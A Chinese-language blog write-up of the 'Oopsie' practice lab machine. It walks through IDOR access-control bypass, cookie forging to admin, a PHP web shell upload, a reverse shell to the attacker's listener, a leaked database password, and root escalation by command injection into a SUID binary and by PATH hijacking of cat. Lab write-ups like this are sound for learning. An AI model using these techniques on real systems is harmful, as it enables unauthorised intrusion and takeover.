nmap端口扫描
开了80web端口
访问web
惯例F12查看有没有什么信息
看到一个像是登录地址的url路径,访问
可以使用访问者身份登录
点击account页面
越权
更改id,将id改为1时
回显了admin账户的accessID
点击uploads,发现需要superadmin用户权限
抓包尝试伪造admin用户访问,看能不能上传文件
将cookie中的user改为34322,role改为admin,访问成功,将数据包放出
上传shell
来到文件上传页面
准备一个shell.php<?php echo shell_exec($_GET['shell']);?>
,上传
注意:上传文件时,也是需要将cookie修改为admin的
上传成功后,访问/uploads/shell.php
执行成功
重新上传反弹shell的PHP代码
webshell在/usr/share/webshells/文件夹下
复制进bp,上传
ip端口改为自己ip和nc监听的端口
找到user.txt拿到flag:f2c74ee8db7983851ab2a96a44eb7981
在db.php中看到robert用户密码M3g4C0rpUs3r!
提权
用 ls -lh $(find / -perm -u=s -type f 2>/dev/null)
查看具有 SUID 的可执行文件
执行 bugtracker
,提示用户输入 Provide Bug ID
,随意输入
发现程序调用了cat,这个cat是root目录下的文件,有setuid权限,setuid是指赋予一个进程他所有者的权限,任意存取该文件的所有者能使用的全部系统资源。
//就是说你只要有权执行这个可执行文件,而这个文件里调用了只有root系统命令,那么执行的时候这个进程就相当于root
这里我们就可以直接执行,在输入 Provide Bug ID
时后面跟上;bin/bash
得到root权限下的shell
得到rootflag:af13b0bee69f8a877c3faf667f7beacf
//这里也可以采用另一种方法提权,程序调用了cat,我们可以自写一个cat,让程序调用我们自写的cat
export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo ‘/bin/sh’ > cat //在此构造恶意的cat命令
chmod +x cat //设置优先级,会默认会执行我们创建的cat命令
- 本文标题:Oopsie靶机
- 本文作者:n3ym4r
- 创建时间:2023-02-06 16:47:14
- 本文链接:https://n3ym4r.github.io/2023/02/06/Oopsie靶机/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!